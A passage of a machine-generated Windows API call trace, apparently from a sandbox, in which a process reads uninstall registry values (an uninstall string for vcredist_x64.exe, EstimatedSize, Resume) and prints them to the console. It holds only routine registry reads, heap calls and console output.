pcbData=0x29f780*=0xc8) returned 0x0 [0150.750] GetProcessHeap () returned 0x3c0000 [0150.750] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xca) returned 0x3e1c70 [0150.750] GetProcessHeap () returned 0x3c0000 [0150.750] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.750] GetProcessHeap () returned 0x3c0000 [0150.750] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xca [0150.750] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xc8 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall", pcbData=0x29f780*=0xc6) returned 0x0 [0150.750] __iob_func () returned 0x7fefd702a80 [0150.750] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.750] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.750] _fileno (_File=0x7fefd702ab0) returned 1 [0150.750] _errno () returned 0x204bb0 [0150.750] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.750] _errno () returned 0x204bb0 [0150.750] GetFileType (hFile=0x50) returned 0x1 [0150.750] lstrlenW (lpString=" ") returned 4 [0150.750] GetConsoleOutputCP () returned 0x1b5 [0150.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.751] GetConsoleOutputCP () returned 0x1b5 [0150.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.751] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.751] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.751] lstrlenW (lpString="UninstallString") returned 15 [0150.751] __iob_func () returned 0x7fefd702a80 [0150.751] _fileno (_File=0x7fefd702ab0) returned 1 [0150.751] _errno () returned 0x204bb0 [0150.751] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.751] _errno () returned 0x204bb0 [0150.751] GetFileType (hFile=0x50) returned 0x1 [0150.751] lstrlenW (lpString="UninstallString") returned 15 [0150.751] GetConsoleOutputCP () returned 0x1b5 [0150.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.751] GetConsoleOutputCP () returned 0x1b5 [0150.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0150.751] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.751] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.751] __iob_func () returned 0x7fefd702a80 [0150.751] _fileno (_File=0x7fefd702ab0) returned 1 [0150.751] _errno () returned 0x204bb0 [0150.751] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.751] _errno () returned 0x204bb0 [0150.751] GetFileType (hFile=0x50) returned 0x1 [0150.751] lstrlenW (lpString=" ") returned 4 [0150.752] GetConsoleOutputCP () returned 0x1b5 [0150.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.752] GetConsoleOutputCP () returned 0x1b5 [0150.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.752] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.752] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.752] __iob_func () returned 0x7fefd702a80 [0150.752] _fileno (_File=0x7fefd702ab0) returned 1 [0150.752] _errno () returned 0x204bb0 [0150.752] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.752] _errno () returned 0x204bb0 [0150.752] GetFileType (hFile=0x50) returned 0x1 [0150.752] lstrlenW (lpString="REG_SZ") returned 6 [0150.752] GetConsoleOutputCP () returned 0x1b5 [0150.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.752] GetConsoleOutputCP () returned 0x1b5 [0150.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.752] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.752] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.752] __iob_func () returned 0x7fefd702a80 [0150.752] _fileno (_File=0x7fefd702ab0) returned 1 [0150.753] _errno () returned 0x204bb0 [0150.753] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.753] _errno () returned 0x204bb0 [0150.753] GetFileType (hFile=0x50) returned 0x1 [0150.753] lstrlenW (lpString=" ") returned 4 [0150.753] GetConsoleOutputCP () returned 0x1b5 [0150.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.753] GetConsoleOutputCP () returned 0x1b5 [0150.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.753] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.753] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.753] __iob_func () returned 0x7fefd702a80 [0150.753] _fileno (_File=0x7fefd702ab0) returned 1 [0150.753] _errno () returned 0x204bb0 [0150.753] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.753] _errno () returned 0x204bb0 [0150.753] GetFileType (hFile=0x50) returned 0x1 [0150.753] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall") returned 98 [0150.753] GetConsoleOutputCP () returned 0x1b5 [0150.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall", cchWideChar=98, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 98 [0150.753] GetConsoleOutputCP () returned 0x1b5 [0150.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall", cchWideChar=98, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall", lpUsedDefaultChar=0x0) returned 98 [0150.753] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 98 [0150.754] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.754] __iob_func () returned 0x7fefd702a80 [0150.754] _fileno (_File=0x7fefd702ab0) returned 1 [0150.754] _errno () returned 0x204bb0 [0150.754] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.754] _errno () returned 0x204bb0 [0150.754] GetFileType (hFile=0x50) returned 0x1 [0150.754] lstrlenW (lpString="\n") returned 1 [0150.754] GetConsoleOutputCP () returned 0x1b5 [0150.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.754] GetConsoleOutputCP () returned 0x1b5 [0150.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.754] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.754] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.754] GetProcessHeap () returned 0x3c0000 [0150.754] GetProcessHeap () returned 0x3c0000 [0150.754] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.754] GetProcessHeap () returned 0x3c0000 [0150.754] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xca [0150.754] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.754] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.754] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.754] GetProcessHeap () returned 0x3c0000 [0150.754] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.754] GetProcessHeap () returned 0x3c0000 [0150.754] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.754] GetProcessHeap () returned 0x3c0000 [0150.755] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.755] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x5216, pcbData=0x29f780*=0x4) returned 0x0 [0150.755] __iob_func () returned 0x7fefd702a80 [0150.755] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.755] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.755] _fileno (_File=0x7fefd702ab0) returned 1 [0150.755] _errno () returned 0x204bb0 [0150.755] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.755] _errno () returned 0x204bb0 [0150.755] GetFileType (hFile=0x50) returned 0x1 [0150.755] lstrlenW (lpString=" ") returned 4 [0150.755] GetConsoleOutputCP () returned 0x1b5 [0150.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.755] GetConsoleOutputCP () returned 0x1b5 [0150.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.755] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.755] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.755] lstrlenW (lpString="EstimatedSize") returned 13 [0150.755] __iob_func () returned 0x7fefd702a80 [0150.755] _fileno (_File=0x7fefd702ab0) returned 1 [0150.755] _errno () returned 0x204bb0 [0150.755] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.755] _errno () returned 0x204bb0 [0150.755] GetFileType (hFile=0x50) returned 0x1 [0150.755] lstrlenW (lpString="EstimatedSize") returned 13 [0150.755] GetConsoleOutputCP () returned 0x1b5 [0150.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.756] GetConsoleOutputCP () returned 0x1b5 [0150.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0150.756] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.756] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.756] __iob_func () returned 0x7fefd702a80 [0150.756] _fileno (_File=0x7fefd702ab0) returned 1 [0150.756] _errno () returned 0x204bb0 [0150.756] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.756] _errno () returned 0x204bb0 [0150.756] GetFileType (hFile=0x50) returned 0x1 [0150.756] lstrlenW (lpString=" ") returned 4 [0150.756] GetConsoleOutputCP () returned 0x1b5 [0150.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.756] GetConsoleOutputCP () returned 0x1b5 [0150.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.756] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.756] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.756] __iob_func () returned 0x7fefd702a80 [0150.756] _fileno (_File=0x7fefd702ab0) returned 1 [0150.756] _errno () returned 0x204bb0 [0150.756] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.756] _errno () returned 0x204bb0 [0150.756] GetFileType (hFile=0x50) returned 0x1 [0150.756] lstrlenW (lpString="REG_DWORD") returned 9 [0150.757] GetConsoleOutputCP () returned 0x1b5 [0150.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.757] GetConsoleOutputCP () returned 0x1b5 [0150.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.757] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.757] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.757] __iob_func () returned 0x7fefd702a80 [0150.757] _fileno (_File=0x7fefd702ab0) returned 1 [0150.757] _errno () returned 0x204bb0 [0150.757] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.757] _errno () returned 0x204bb0 [0150.757] GetFileType (hFile=0x50) returned 0x1 [0150.757] lstrlenW (lpString=" ") returned 4 [0150.757] GetConsoleOutputCP () returned 0x1b5 [0150.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.757] GetConsoleOutputCP () returned 0x1b5 [0150.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.757] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.757] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.757] __iob_func () returned 0x7fefd702a80 [0150.757] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.758] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x5216") returned 6 [0150.758] _fileno (_File=0x7fefd702ab0) returned 1 [0150.758] _errno () returned 0x204bb0 [0150.758] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.758] _errno () returned 0x204bb0 [0150.758] GetFileType (hFile=0x50) returned 0x1 [0150.758] lstrlenW (lpString="0x5216") returned 6 [0150.758] GetConsoleOutputCP () returned 0x1b5 [0150.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x5216", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.758] GetConsoleOutputCP () returned 0x1b5 [0150.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x5216", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x5216", lpUsedDefaultChar=0x0) returned 6 [0150.758] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.758] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.758] __iob_func () returned 0x7fefd702a80 [0150.758] _fileno (_File=0x7fefd702ab0) returned 1 [0150.758] _errno () returned 0x204bb0 [0150.758] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.758] _errno () returned 0x204bb0 [0150.758] GetFileType (hFile=0x50) returned 0x1 [0150.758] lstrlenW (lpString="\n") returned 1 [0150.758] GetConsoleOutputCP () returned 0x1b5 [0150.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.758] GetConsoleOutputCP () returned 0x1b5 [0150.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.759] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.759] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.759] GetProcessHeap () returned 0x3c0000 [0150.759] GetProcessHeap () returned 0x3c0000 [0150.759] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.759] GetProcessHeap () returned 0x3c0000 [0150.759] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.759] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.759] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Resume", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.759] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.759] GetProcessHeap () returned 0x3c0000 [0150.759] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.759] GetProcessHeap () returned 0x3c0000 [0150.759] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.759] GetProcessHeap () returned 0x3c0000 [0150.759] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.759] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x3, pcbData=0x29f780*=0x4) returned 0x0 [0150.759] __iob_func () returned 0x7fefd702a80 [0150.759] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.759] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.759] _fileno (_File=0x7fefd702ab0) returned 1 [0150.759] _errno () returned 0x204bb0 [0150.759] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.759] _errno () returned 0x204bb0 [0150.759] GetFileType (hFile=0x50) returned 0x1 [0150.759] lstrlenW (lpString=" ") returned 4 [0150.759] GetConsoleOutputCP () returned 0x1b5 [0150.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.759] GetConsoleOutputCP () returned 0x1b5 [0150.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.760] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.760] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.760] lstrlenW (lpString="Resume") returned 6 [0150.760] __iob_func () returned 0x7fefd702a80 [0150.760] _fileno (_File=0x7fefd702ab0) returned 1 [0150.760] _errno () returned 0x204bb0 [0150.760] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.760] _errno () returned 0x204bb0 [0150.760] GetFileType (hFile=0x50) returned 0x1 [0150.760] lstrlenW (lpString="Resume") returned 6 [0150.760] GetConsoleOutputCP () returned 0x1b5 [0150.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.760] GetConsoleOutputCP () returned 0x1b5 [0150.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Resume", lpUsedDefaultChar=0x0) returned 6 [0150.760] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.760] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.760] __iob_func () returned 0x7fefd702a80 [0150.760] _fileno (_File=0x7fefd702ab0) returned 1 [0150.760] _errno () returned 0x204bb0 [0150.760] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.760] _errno () returned 0x204bb0 [0150.760] GetFileType (hFile=0x50) returned 0x1 [0150.760] lstrlenW (lpString=" ") returned 4 [0150.760] GetConsoleOutputCP () returned 0x1b5 [0150.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.761] GetConsoleOutputCP () returned 0x1b5 [0150.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.761] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.761] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.761] __iob_func () returned 0x7fefd702a80 [0150.761] _fileno (_File=0x7fefd702ab0) returned 1 [0150.761] _errno () returned 0x204bb0 [0150.761] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.761] _errno () returned 0x204bb0 [0150.761] GetFileType (hFile=0x50) returned 0x1 [0150.761] lstrlenW (lpString="REG_DWORD") returned 9 [0150.761] GetConsoleOutputCP () returned 0x1b5 [0150.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.761] GetConsoleOutputCP () returned 0x1b5 [0150.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.761] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.761] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.761] __iob_func () returned 0x7fefd702a80 [0150.761] _fileno (_File=0x7fefd702ab0) returned 1 [0150.761] _errno () 